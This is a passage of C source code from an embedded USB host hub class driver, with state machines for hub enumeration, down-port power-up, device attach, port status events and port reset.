USB_ERROR;\n break;\n }\n\n /* String descriptor */\n usb_shhub_Process[ptr->ip] = USB_MSG_CLS_CHECKREQUEST;\n usb_hstd_GetStringDescriptor1( ptr, usb_shhub_DevAddr[ptr->ip], (uint16_t)15,\n (USB_CB_t)&usb_hhub_class_request_complete);\n break;\n\n case USB_SEQ_1:\n /* String descriptor check */\n retval = usb_hstd_GetStringDescriptor1Check(checkerr);\n if( USB_DONE == retval )\n {\n string = usb_shhub_DeviceTable[ptr->ip][15];\n /* String descriptor */\n usb_shhub_Process[ptr->ip] = USB_MSG_CLS_CHECKREQUEST;\n usb_hstd_GetStringDescriptor2( ptr, usb_shhub_DevAddr[ptr->ip], (uint16_t)string,\n (USB_CB_t)&usb_hhub_class_request_complete);\n }\n else\n {\n /* If USB_ERROR, Go case 3 (checkerr==USB_ERROR) */\n usb_shhub_ClassSeq[ptr->ip] = USB_SEQ_2;\n /* Next sequence */\n usb_hhub_CheckRequest(ptr, USB_ERROR);\n checkerr = USB_DONE;\n }\n break;\n \n case USB_SEQ_2:\n /* String descriptor check */\n retval = usb_hstd_GetStringDescriptor2Check(checkerr);\n if( USB_DONE == retval )\n {\n /* Next sequence */\n usb_hhub_CheckRequest(ptr, checkerr);\n }\n break;\n \n case USB_SEQ_3:\n /* String descriptor check */\n if( checkerr == USB_DONE )\n {\n if( usb_ghstd_ClassData[ptr->ip][0] < (uint8_t)(32 * 2 + 2) )\n {\n usb_ghstd_ClassData[ptr->ip][0] = (uint8_t)(usb_ghstd_ClassData[ptr->ip][0] / 2);\n usb_ghstd_ClassData[ptr->ip][0] = (uint8_t)(usb_ghstd_ClassData[ptr->ip][0] - 1);\n }\n else\n {\n usb_ghstd_ClassData[ptr->ip][0] = (uint8_t)32;\n }\n/* Condition compilation by the difference of useful function */\n#if defined(USB_DEBUGUART_PP) || defined(USB_DEBUGPRINT_PP)\n for( j = (uint16_t)0; j < usb_ghstd_ClassData[ptr->ip][0]; j++ )\n {\n pdata[j] = usb_ghstd_ClassData[ptr->ip][j * (uint16_t)2 + (uint16_t)2];\n }\n pdata[usb_ghstd_ClassData[ptr->ip][0]] = 0;\n USB_PRINTF1(\" Product name : %s\\n\", pdata);\n#endif /* USB_DEBUGUART_PP || USB_DEBUGPRINT_PP */\n }\n else\n {\n USB_PRINTF0(\"*** Product name error\\n\");\n checkerr = USB_DONE;\n }\n \n /* Get HUB descriptor */\n usb_shhub_Process[ptr->ip] = USB_MSG_CLS_CHECKREQUEST;\n checkerr = R_usb_hhub_GetHubInformation( ptr, usb_shhub_DevAddr[ptr->ip], usb_hhub_class_request_complete );\n /* Submit overlap error */\n if( USB_HUB_QOVR == checkerr )\n {\n usb_hhub_SpecifiedPathWait(ptr, (uint16_t)10);\n }\n break;\n \n case USB_SEQ_4:\n /* Get HUB descriptor Check */\n retval = usb_hhub_request_result(checkerr);\n if( USB_DONE == retval )\n {\n usb_hhub_CheckRequest(ptr, checkerr); /* Next sequence */\n }\n break;\n \n case USB_SEQ_5:\n /* Get HUB descriptor Check */\n if( checkerr == USB_DONE )\n {\n retval = usb_hstd_CheckDescriptor( usb_ghhub_Descriptor[ptr->ip], (uint16_t)USB_DT_HUBDESCRIPTOR );\n if( USB_ERROR == retval )\n {\n USB_PRINTF0(\"### HUB descriptor error !\\n\");\n checkerr = USB_ERROR;\n }\n else if( usb_ghhub_Descriptor[ptr->ip][2] > USB_HUBDOWNPORT )\n {\n USB_PRINTF0(\"### HUB Port number over\\n\");\n checkerr = USB_ERROR;\n }\n else\n {\n USB_PRINTF1(\" Attached %d port HUB\\n\", usb_ghhub_Descriptor[ptr->ip][2]);\n }\n }\n else\n {\n USB_PRINTF0(\"### HUB Descriptor over\\n\");\n checkerr = USB_ERROR;\n }\n\n /* Pipe Information table set */\n switch( usb_shhub_Spec[ptr->ip] )\n {\n case USB_FSHUB: /* Full Speed Hub */\n if( USB_FSCONNECT == usb_shhub_Speed[ptr->ip] )\n {\n retval = usb_hhub_pipe_info( ptr, (uint8_t *)usb_shhub_InterfaceTable[ptr->ip],\n usb_shhub_Index[ptr->ip], usb_shhub_Speed[ptr->ip],\n (uint16_t)usb_shhub_ConfigTable[ptr->ip][2]);\n if( USB_ERROR == retval )\n {\n USB_PRINTF0(\"### Device information error(HUB) !\\n\");\n checkerr = USB_ERROR;\n }\n }\n else\n {\n USB_PRINTF0(\"### HUB Descriptor speed error\\n\");\n checkerr = USB_ERROR;\n }\n break;\n\n case USB_HSHUBS: /* Hi Speed Hub(Single) */\n if( USB_HSCONNECT == usb_shhub_Speed[ptr->ip] )\n {\n retval = usb_hhub_pipe_info( ptr, (uint8_t *)usb_shhub_InterfaceTable[ptr->ip],\n usb_shhub_Index[ptr->ip], usb_shhub_Speed[ptr->ip],\n (uint16_t)usb_shhub_ConfigTable[ptr->ip][2]);\n if( USB_ERROR == retval )\n {\n USB_PRINTF0(\"### Device information error(HUB) !\\n\");\n checkerr = USB_ERROR;\n }\n }\n else\n {\n USB_PRINTF0(\"### HUB Descriptor speed error\\n\");\n checkerr = USB_ERROR;\n }\n break;\n\n case USB_HSHUBM: /* Hi Speed Hub(Multi) */\n if( USB_HSCONNECT == usb_shhub_Speed[ptr->ip] )\n {\n /* Set pipe information */\n retval = usb_hhub_pipe_info( ptr, (uint8_t *)usb_shhub_InterfaceTable[ptr->ip],\n usb_shhub_Index[ptr->ip], usb_shhub_Speed[ptr->ip],\n (uint16_t)usb_shhub_ConfigTable[ptr->ip][2]);\n if( USB_ERROR == retval )\n {\n USB_PRINTF0(\"### Device information error(HUB) !\\n\");\n checkerr = USB_ERROR;\n }\n /* Set pipe information */\n retval = usb_hhub_pipe_info( ptr, (uint8_t *)usb_shhub_InterfaceTable[ptr->ip],\n usb_shhub_Index[ptr->ip], usb_shhub_Speed[ptr->ip],\n (uint16_t)usb_shhub_ConfigTable[ptr->ip][2]);\n if( USB_ERROR == retval )\n {\n USB_PRINTF0(\"### Device information error(HUB) !\\n\");\n checkerr= USB_ERROR;\n }\n }\n else\n {\n USB_PRINTF0(\"### HUB Descriptor speed error\\n\");\n checkerr = USB_ERROR;\n }\n break;\n default:\n checkerr = USB_ERROR;\n break;\n }\n /* Port number set */\n usb_shhub_InfoData[ptr->ip][usb_shhub_DevAddr[ptr->ip]].port_num = usb_ghhub_Descriptor[ptr->ip][2];\n usb_shhub_Process[ptr->ip] = USB_NONE;\n /* Return to MGR */\n R_usb_hstd_ReturnEnuMGR((USB_UTR_t *)ptr, checkerr);\n break;\n }\n\n switch( checkerr )\n {\n /* Driver open */\n case USB_DONE:\n usb_shhub_ClassSeq[ptr->ip]++;\n break;\n\n /* Submit overlap error */\n case USB_HUB_QOVR:\n break;\n\n /* Descriptor error */\n case USB_ERROR:\n USB_PRINTF0(\"### Enumeration is stoped(ClassCode-ERROR)\\n\");\n usb_shhub_Process[ptr->ip] = USB_NONE;\n /* Return to MGR */\n R_usb_hstd_ReturnEnuMGR((USB_UTR_t *)ptr, USB_ERROR);\n break;\n\n default:\n usb_shhub_Process[ptr->ip] = USB_NONE;\n /* Return to MGR */\n R_usb_hstd_ReturnEnuMGR((USB_UTR_t *)ptr, USB_ERROR);\n break;\n }\n} /* eof usb_hhub_enumeration() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_InitDownPort\nDescription : Down port initialized\nArguments : uint16_t hubaddr : hub address\n : USB_CLSINFO_t *mess\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_InitDownPort(USB_UTR_t *ptr, uint16_t hubaddr, USB_CLSINFO_t *mess)\n{\n USB_ER_t err;\n uint16_t retval;\n\n hubaddr = usb_shhub_HubAddr[ptr->ip];\n retval = USB_DONE;\n\n if( USB_MSG_CLS_INIT != usb_shhub_Process[ptr->ip] ) /* Check Hub Process */\n {\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)mess );\n if( USB_OK != err )\n {\n USB_PRINTF0(\"### HUB snd_msg error\\n\"); /* Send Message failure */\n }\n }\n else\n {\n switch( usb_shhub_InitSeq[ptr->ip] )\n {\n case USB_SEQ_0: /* HUB port power */\n hubaddr = mess->keyword;\n usb_shhub_HubAddr[ptr->ip] = hubaddr;\n\n usb_hstd_DeviceDescripInfo(ptr);\n usb_hstd_ConfigDescripInfo(ptr);\n USB_PRINTF0(\"\\nHHHHHHHHHHHHHHHHHHHHHHHHH\\n\");\n USB_PRINTF0(\" USB HOST \\n\");\n USB_PRINTF0(\" HUB CLASS DEMO \\n\");\n USB_PRINTF0(\"HHHHHHHHHHHHHHHHHHHHHHHHH\\n\\n\");\n usb_shhub_InitSeq[ptr->ip] = USB_SEQ_1; /* Next Sequence */\n usb_shhub_InitPort[ptr->ip] = USB_HUB_P1;\n usb_hhub_SpecifiedPath(mess); /* Next Process Selector */\n break;\n\n case USB_SEQ_1: /* Request */\n retval = usb_hhub_PortSetFeature( ptr, hubaddr, usb_shhub_InitPort[ptr->ip],\n (uint16_t)USB_HUB_PORT_POWER, usb_hhub_class_request_complete); /* SetFeature request */\n if( USB_HUB_QOVR == retval ) /* Submit overlap error */\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 );\n }\n else\n {\n usb_shhub_InitPort[ptr->ip]++; /* Next Port */\n usb_shhub_InitSeq[ptr->ip] = USB_SEQ_2; /* Next Sequence */\n }\n break;\n\n case USB_SEQ_2: /* Request Result Check */\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n if( usb_shhub_InitPort[ptr->ip] > usb_shhub_InfoData[ptr->ip][hubaddr].port_num )\n {\n usb_shhub_InitPort[ptr->ip] = USB_HUB_P1; /* Port Clear */\n usb_shhub_InitSeq[ptr->ip] = USB_SEQ_3; /* Next Sequence */\n usb_hhub_SpecifiedPath(mess); /* Next Process Selector */\n }\n else\n {\n usb_shhub_InitSeq[ptr->ip] = USB_SEQ_1; /* Loop Sequence */\n usb_hhub_SpecifiedPath(mess); /* Next Process Selector */\n }\n }\n break;\n\n case USB_SEQ_3: /* HUB downport initialize */\n retval = usb_hhub_PortClrFeature( ptr,hubaddr, usb_shhub_InitPort[ptr->ip],\n (uint16_t)USB_HUB_C_PORT_CONNECTION, usb_hhub_class_request_complete); /* Request */\n if( USB_HUB_QOVR == retval ) /* Submit overlap error */\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 );\n }\n else\n {\n usb_shhub_InitPort[ptr->ip]++; /* Next Port */\n usb_shhub_InitSeq[ptr->ip] = USB_SEQ_4; /* Next Sequence */\n }\n break;\n\n /* Request Result Check */\n case USB_SEQ_4:\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n if( usb_shhub_InitPort[ptr->ip] > usb_shhub_InfoData[ptr->ip][hubaddr].port_num )\n {\n usb_shhub_InitSeq[ptr->ip] = USB_SEQ_0; /* Sequence Clear */\n usb_shhub_InitPort[ptr->ip] = USB_HUB_P1; /* Port Clear */\n usb_shhub_Info[ptr->ip] = USB_MSG_CLS_INIT;\n usb_shhub_Process[ptr->ip] = USB_MSG_HUB_EVENT; /* Next Attach Process */\n usb_hhub_SpecifiedPath(mess); /* Next Process Selector */\n }\n else\n {\n usb_shhub_InitSeq[ptr->ip] = USB_SEQ_3; /* Loop Sequence */\n usb_hhub_SpecifiedPath(mess); /* Next Process Selector */\n }\n }\n break;\n\n default:\n retval = USB_NG;\n break;\n }\n\n if( ( USB_DONE != retval ) && ( USB_HUB_QOVR != retval ) ) \n {\n usb_shhub_InitPort[ptr->ip] = USB_HUB_P1; /* Port Clear */\n usb_shhub_InitSeq[ptr->ip] = USB_SEQ_0; /* Sequence Clear */\n usb_shhub_Info[ptr->ip] = USB_NONE; /* Clear */\n usb_shhub_Process[ptr->ip] = USB_NONE; /* Clear */\n }\n\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)mess);\n if( USB_OK != err )\n { /* Release Memoryblock failure */\n USB_PRINTF0(\"### USB HostHubClass rel_blk error\\n\");\n }\n }\n} /* eof usb_hhub_InitDownPort() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_PortAttach\nDescription : port attach\nArguments : uint16_t hubaddr : hub address\n : uint16_t portnum : down port number\n : USB_CLSINFO_t *mess\nReturn value : uint16_t : Manager Mode\n******************************************************************************/\nuint16_t usb_hhub_PortAttach(uint16_t hubaddr, uint16_t portnum, USB_CLSINFO_t *mess)\n{\n uint16_t rootport, devaddr, retval;\n uint16_t hpphub, hubport, buffer;\n USB_ER_t err;\n USB_UTR_t *ptr;\n\n ptr = (USB_UTR_t *)mess;\n hubaddr = usb_shhub_HubAddr[ptr->ip];\n portnum = usb_shhub_EventPort[ptr->ip];\n\n if( USB_MSG_HUB_ATTACH != usb_shhub_Process[ptr->ip] )\n {\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)mess );\n if( USB_OK != err )\n {\n /* Send Message failure */\n USB_PRINTF0(\"### HUB snd_msg error\\n\");\n }\n }\n else\n {\n switch( usb_shhub_AttachSeq[ptr->ip] )\n {\n case USB_SEQ_0:\n if( USB_NULL == usb_gcstd_Pipe[ptr->ip][USB_PIPE0] )\n {\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_1;\n usb_shhub_Process[ptr->ip] = USB_MSG_HUB_RESET;\n }\n else\n {\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_0;\n }\n /* Next Process Selector */\n usb_hhub_SpecifiedPath(mess);\n break;\n\n case USB_SEQ_1:\n /* Device Enumeration */\n switch( (uint16_t)(usb_ghhub_Data[ptr->ip][hubaddr][1] & (uint8_t)0x06) )\n {\n case 0x00:\n usb_ghstd_DeviceSpeed[ptr->ip] = USB_FSCONNECT;\n USB_PRINTF0(\" Full-Speed Device\\n\");\n break;\n case 0x02:\n usb_ghstd_DeviceSpeed[ptr->ip] = USB_LSCONNECT;\n USB_PRINTF0(\" Low-Speed Device\\n\");\n break;\n case 0x04:\n usb_ghstd_DeviceSpeed[ptr->ip] = USB_HSCONNECT;\n USB_PRINTF0(\" Hi-Speed Device\\n\");\n break;\n default:\n usb_ghstd_DeviceSpeed[ptr->ip] = USB_NOCONNECT;\n USB_PRINTF0(\" Detach Detached\\n\");\n break;\n }\n rootport = usb_hstd_GetRootport(ptr, \n (uint16_t)(hubaddr << USB_DEVADDRBIT));\n /* Now downport device search */\n devaddr = usb_hhub_GetCnnDevaddr(ptr, hubaddr, portnum);\n usb_ghstd_DeviceAddr[ptr->ip] = devaddr;\n devaddr = (uint16_t)(devaddr << USB_DEVADDRBIT);\n usb_ghstd_MgrMode[ptr->ip][rootport] = USB_DEFAULT;\n if( 0 != devaddr )\n {\n usb_hstd_SetHubPort(ptr, devaddr, (uint16_t)(hubaddr << 11), (uint16_t)(portnum << 8));\n /* Get DEVADDR register */\n buffer = usb_hreg_read_devadd( ptr, devaddr );\n do\n {\n hpphub = (uint16_t)(buffer & USB_UPPHUB);\n hubport = (uint16_t)(buffer & USB_HUBPORT);\n devaddr = (uint16_t)(hpphub << 1);\n /* Get DEVADDR register */\n buffer = usb_hreg_read_devadd( ptr, devaddr );\n }\n while( ( USB_HSCONNECT != ( buffer & USB_USBSPD ) ) && ( USB_DEVICE_0 != devaddr ) );\n\n usb_hstd_SetDevAddr(ptr, (uint16_t)USB_DEVICE_0, usb_ghstd_DeviceSpeed[ptr->ip], rootport);\n /* Set up-port hub */\n usb_hstd_SetHubPort(ptr, (uint16_t)USB_DEVICE_0, hpphub, hubport);\n /* Set up-port hub */\n usb_hstd_SetHubPort(ptr, (uint16_t)(usb_ghstd_DeviceAddr[ptr->ip] << USB_DEVADDRBIT), hpphub, hubport);\n /* Clear Enumeration Sequence Number */\n usb_ghstd_EnumSeq[ptr->ip] = 0;\n if( USB_NOCONNECT != usb_ghstd_DeviceSpeed[ptr->ip] )\n {\n (*usb_ghstd_EnumarationProcess[0])(ptr, (uint16_t)USB_DEVICE_0, (uint16_t)0);\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_2;\n usb_hhub_SpecifiedPathWait(mess, 3u);\n }\n else\n {\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_3;\n /* Next Process Selector */\n usb_hhub_SpecifiedPath(mess);\n }\n }\n else\n {\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_3;\n /* Next Process Selector */\n usb_hhub_SpecifiedPath(mess);\n }\n break;\n\n case USB_SEQ_2:\n /* Get Port Number */\n rootport = usb_hstd_GetRootport(ptr, (uint16_t)(hubaddr << USB_DEVADDRBIT));\n if( ( USB_CONFIGURED == usb_ghstd_MgrMode[ptr->ip][rootport] )\n || ( USB_DEFAULT != usb_ghstd_MgrMode[ptr->ip][rootport] ) )\n {\n /* HUB downport status */\n usb_shhub_DownPort[ptr->ip][hubaddr] |= USB_BITSET(portnum);\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_0;\n usb_shhub_Process[ptr->ip] = USB_MSG_HUB_EVENT;\n usb_hhub_SpecifiedPath(mess);\n }\n else\n {\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_2;\n usb_hhub_SpecifiedPathWait(mess, 3u);\n }\n break;\n\n case USB_SEQ_3:\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_4;\n usb_shhub_Process[ptr->ip] = USB_MSG_HUB_RESET;\n /* Next Process Selector */\n usb_hhub_SpecifiedPath(mess);\n break;\n\n case USB_SEQ_4:\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n /* Hub Port Set Feature Request */\n retval = usb_hhub_PortSetFeature( ptr, hubaddr, portnum, USB_HUB_PORT_SUSPEND,\n usb_hhub_class_request_complete);\n /* Submit overlap error */\n if( USB_HUB_QOVR == retval )\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 );\n }\n else\n {\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_5;\n }\n }\n break;\n\n case USB_SEQ_5:\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n usb_hhub_port_detach(ptr, hubaddr, portnum);\n usb_shhub_InfoData[ptr->ip][devaddr].up_addr = 0; /* Up-hubaddr clear */\n usb_shhub_InfoData[ptr->ip][devaddr].up_port_num = 0; /* Up-hubport clear */\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_0;\n usb_shhub_Process[ptr->ip] = USB_MSG_HUB_EVENT;\n usb_hhub_SpecifiedPath(mess);\n }\n break;\n\n default:\n usb_shhub_AttachSeq[ptr->ip] = USB_SEQ_0;\n usb_shhub_Process[ptr->ip] = USB_NONE;\n usb_shhub_Info[ptr->ip] = USB_NONE;\n break;\n }\n\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)mess);\n if( USB_OK != err )\n {\n USB_PRINTF0(\"### USB HostHubClass rel_blk error\\n\");\n }\n }\n return USB_DONE;\n} /* eof usb_hhub_PortAttach() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_event\nDescription : USB Hub Event process.\nArguments : USB_CLSINFO_t *mess : USB system internal message.\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_event(USB_CLSINFO_t *mess)\n{\n USB_ER_t err;\n uint16_t hubaddr, devaddr, retval;\n USB_UTR_t *ptr;\n uint32_t port_status;\n uint16_t next_port_check = USB_NO;\n uint16_t port_clr_feature_type;\n\n ptr = (USB_UTR_t *)mess;\n hubaddr = usb_shhub_HubAddr[ptr->ip];\n\n if( USB_MSG_HUB_EVENT != usb_shhub_Process[ptr->ip] )\n {\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)mess );\n if( USB_OK != err )\n {\n USB_PRINTF0(\"### HUB snd_msg error\\n\");\n }\n }\n else\n {\n switch( usb_shhub_EventSeq[ptr->ip] )\n {\n case USB_SEQ_0: /* Request */\n if( USB_MSG_HUB_SUBMITRESULT == usb_shhub_Info[ptr->ip] ) /* Event Check */\n {\n /* Hub and Port Status Change Bitmap(b0:Hub,b1:DownPort1change detected,b2:DownPort2,...) */\n if( 0 != ( usb_ghhub_Data[ptr->ip][hubaddr][0] & USB_BITSET(usb_shhub_EventPort[ptr->ip]) ) )\n {\n USB_PRINTF1(\" *** HUB port %d \\t\",usb_shhub_EventPort[ptr->ip]);\n /* GetStatus request */\n retval = R_usb_hhub_GetPortInformation( ptr, hubaddr, usb_shhub_EventPort[ptr->ip],\n usb_hhub_class_request_complete );\n if( USB_HUB_QOVR == retval ) /* Submit overlap error */\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 ); /* Retry */\n }\n else\n {\n usb_shhub_EventSeq[ptr->ip] = USB_SEQ_1;\n }\n }\n else\n {\n /* Port check end */\n next_port_check = USB_YES;\n }\n }\n else\n// if( USB_MSG_CLS_INIT == usb_shhub_Info[ptr->ip] ) /* Event Check */\n { /* USB_MSG_HUB_INIT */\n USB_PRINTF2(\" *** address %d downport %d \\t\", hubaddr, usb_shhub_EventPort[ptr->ip]);\n\n /* GetStatus request */\n retval = R_usb_hhub_GetPortInformation(ptr, hubaddr, usb_shhub_EventPort[ptr->ip],\n usb_hhub_class_request_complete);\n if( USB_HUB_QOVR == retval ) /* Submit overlap error */\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 ); /* Retry */\n }\n else\n {\n usb_shhub_EventSeq[ptr->ip] = USB_SEQ_3;\n }\n }\n break;\n\n case USB_SEQ_1: /* Request Result Check & Request */\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n port_status = (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][0];\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][1] << 8;\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][2] << 16;\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][3] << 24;\n USB_PRINTF2(\" [port/status] : %d, 0x%08x\\n\", usb_shhub_EventPort[ptr->ip], port_status);\n\n if( 0 != ( port_status & USB_BIT_C_PORT_CONNECTION ) ) /* C_PORT_CONNECTION */\n {\n retval = usb_hhub_PortClrFeature( ptr, hubaddr, usb_shhub_EventPort[ptr->ip],\n (uint16_t)USB_HUB_C_PORT_CONNECTION, usb_hhub_class_request_complete );\n if( USB_HUB_QOVR == retval ) /* Submit overlap error */\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 ); /* Retry */\n }\n else\n {\n usb_shhub_EventSeq[ptr->ip] = USB_SEQ_3; /* Attach Sequence */\n }\n }\n else\n {\n /* Now downport device search */\n devaddr = usb_hhub_GetCnnDevaddr(ptr, hubaddr, usb_shhub_EventPort[ptr->ip]);\n if( 0 != ( port_status & USB_BIT_PORT_ENABLE ) ) /* PORT_ENABLE */\n {\n USB_PRINTF1(\" Hubport error address%d\\n\",devaddr);\n port_clr_feature_type = USB_HUB_C_PORT_ENABLE; /* C_PORT_ENABLE */\n }\n else if( 0 != ( port_status & USB_BIT_PORT_SUSPEND ) ) /* PORT_SUSPEND */\n {\n USB_PRINTF1(\" Hubport suspend(resume complete) address%d\\n\", devaddr);\n port_clr_feature_type = USB_HUB_C_PORT_SUSPEND; /* C_PORT_SUSPEND */\n }\n else if( 0 != ( port_status & USB_BIT_C_PORT_OVER_CURRENT ) ) /* PORT_OVER_CURRENT */\n {\n USB_PRINTF1(\" Hubport over current address%d\\n\", devaddr);\n port_clr_feature_type = USB_HUB_C_PORT_OVER_CURRENT; /* C_PORT_OVER_CURRENT */\n }\n else if( 0 != ( port_status & USB_BIT_PORT_RESET ) ) /* PORT_RESET */\n {\n USB_PRINTF1(\" Hubport reset(reset complete) address%d\\n\", devaddr);\n port_clr_feature_type = USB_HUB_C_PORT_RESET; /* C_PORT_RESET */\n }\n else\n {\n next_port_check = USB_YES;\n }\n\n if( USB_NO == next_port_check )\n {\n /* ClearFeature request */\n retval = usb_hhub_PortClrFeature( ptr, hubaddr, usb_shhub_EventPort[ptr->ip],\n port_clr_feature_type, usb_hhub_class_request_complete );\n if( USB_HUB_QOVR == retval ) /* Submit overlap error */\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 ); /* Retry */\n }\n else\n {\n usb_shhub_EventSeq[ptr->ip] = USB_SEQ_2; /* Next Sequence */\n }\n }\n }\n }\n break;\n\n case USB_SEQ_2: /* Request Result Check */\n retval = usb_hhub_request_result( mess->result );\n if( USB_DONE == retval )\n {\n if( 0 != ( port_status & USB_BIT_PORT_SUSPEND ) ) /* PORT_SUSPEND */\n { /* C_PORT_SUSPEND */\n /* HUB downport status */\n usb_shhub_Remote[ptr->ip][hubaddr] |= USB_BITSET(usb_shhub_EventPort[ptr->ip]);\n }\n next_port_check = USB_YES;\n }\n break;\n\n case USB_SEQ_3: /* Attach Sequence */\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n port_status = (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][0];\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][1] << 8;\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][2] << 16;\n port_status |= (uint32_t)usb_ghhub_Data[ptr->ip][hubaddr][3] << 24;\n USB_PRINTF2(\" [port/status] : %d, 0x%08x\\n\", usb_shhub_EventPort[ptr->ip], port_status);\n\n if( 0 != ( port_status & USB_BIT_PORT_CONNECTION ) ) /* PORT_CONNECTION */\n {\n if( USB_MSG_HUB_SUBMITRESULT == usb_shhub_Info[ptr->ip] )\n {\n if( 0 == ( usb_shhub_DownPort[ptr->ip][hubaddr] & USB_BITSET(usb_shhub_EventPort[ptr->ip] ) ) )\n {\n usb_shhub_EventSeq[ptr->ip] = USB_SEQ_4; /* Next Attach sequence */\n usb_hhub_new_connect( mess, (uint16_t)0, (uint16_t)0, mess );\n }\n else\n {\n next_port_check = USB_YES; /* Not PORT_CONNECTION */\n }\n }\n else\n// if( USB_MSG_CLS_INIT == usb_shhub_Info[ptr->ip] )\n {\n usb_shhub_EventSeq[ptr->ip] = USB_SEQ_4; /* Next Attach sequence */\n usb_hhub_new_connect( mess, (uint16_t)0, (uint16_t)0, mess );\n }\n }\n else\n { /* non connect */\n if( USB_MSG_HUB_SUBMITRESULT == usb_shhub_Info[ptr->ip] ) /* */\n {\n /* Now downport device search */\n devaddr = usb_hhub_GetCnnDevaddr(ptr, hubaddr, usb_shhub_EventPort[ptr->ip]);\n if( 0 != devaddr )\n {\n usb_hhub_port_detach(ptr, hubaddr, usb_shhub_EventPort[ptr->ip]);\n USB_PRINTF1(\" Hubport disconnect address%d\\n\", devaddr);\n usb_shhub_InfoData[ptr->ip][devaddr].up_addr = 0; /* Up-address clear */\n usb_shhub_InfoData[ptr->ip][devaddr].up_port_num = 0; /* Up-port num clear */\n usb_shhub_InfoData[ptr->ip][devaddr].port_num = 0; /* Port number clear */\n usb_shhub_InfoData[ptr->ip][devaddr].pipe_num = 0; /* Pipe number clear */\n }\n }\n next_port_check = USB_YES;\n }\n }\n break;\n\n case USB_SEQ_4: /* Attach */\n next_port_check = USB_YES;\n break;\n\n default:\n /* error */\n break;\n }\n\n if( USB_YES == next_port_check )\n {\n if( usb_shhub_EventPort[ptr->ip] >= usb_shhub_InfoData[ptr->ip][hubaddr].port_num )\n { /* Port check end */\n usb_hhub_trans_start(ptr, hubaddr, (uint32_t)1, &usb_ghhub_Data[ptr->ip][hubaddr][0],\n &usb_hhub_trans_complete); /* Get Hub and Port Status Change Bitmap */\n\n usb_shhub_EventPort[ptr->ip] = USB_HUB_P1; /* Port Clear */\n usb_shhub_EventSeq[ptr->ip] = USB_SEQ_0; /* Sequence Clear */\n usb_shhub_Process[ptr->ip] = USB_NONE;\n usb_shhub_Info[ptr->ip] = USB_NONE;\n }\n else\n {\n usb_shhub_EventPort[ptr->ip]++; /* Next port check */\n usb_shhub_EventSeq[ptr->ip] = USB_SEQ_0; /* Sequence Clear */\n usb_hhub_SpecifiedPath(mess);\n }\n }\n\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)mess);\n if( USB_OK != err )\n {\n USB_PRINTF0(\"### USB HostHubClass rel_blk error\\n\");\n }\n }\n} /* eof usb_hhub_event() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_port_reset\nDescription : HUB down port USB-reset request\nArguments : uint16_t hubaddr : hub address\n : uint16_t portnum : down port number\n : USB_CLSINFO_t *mess\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_port_reset(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t portnum, USB_CLSINFO_t *mess)\n{\n USB_ER_t err;\n uint16_t retval;\n uint32_t port_status;\n\n hubaddr = usb_shhub_HubAddr[ptr->ip];\n portnum = usb_shhub_EventPort[ptr->ip];\n\n if( usb_shhub_Process[ptr->ip] != USB_MSG_HUB_RESET )\n {\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)mess );\n if( USB_OK != err )\n {\n USB_PRINTF0(\"### HUB snd_msg error\\n\");\n }\n }\n else\n {\n switch( usb_shhub_ResetSeq[ptr->ip] )\n {\n case USB_SEQ_0:\n /* Hub port SetFeature */\n usb_cpu_DelayXms((uint16_t)100);\n retval = usb_hhub_PortSetFeature( ptr, hubaddr, portnum, (uint16_t)USB_HUB_PORT_RESET,\n usb_hhub_class_request_complete);\n /* Submit overlap error */\n if( USB_HUB_QOVR == retval )\n {\n usb_hhub_SpecifiedPathWait( mess, (uint16_t)10 );\n }\n else\n {\n usb_shhub_ResetSeq[ptr->ip] = USB_SEQ_1;\n }\n break;\n\n case USB_SEQ_1:\n retval = usb_hhub_request_result(mess->result);\n if( USB_DONE == retval )\n {\n usb_cpu_DelayXms((uint16_t)60);\n\n /* Get Status */\n retval = R_usb_hhub_GetPortInformation( ptr, hubaddr, portnum, usb_hhub_class_request_complete );\n /* Submit 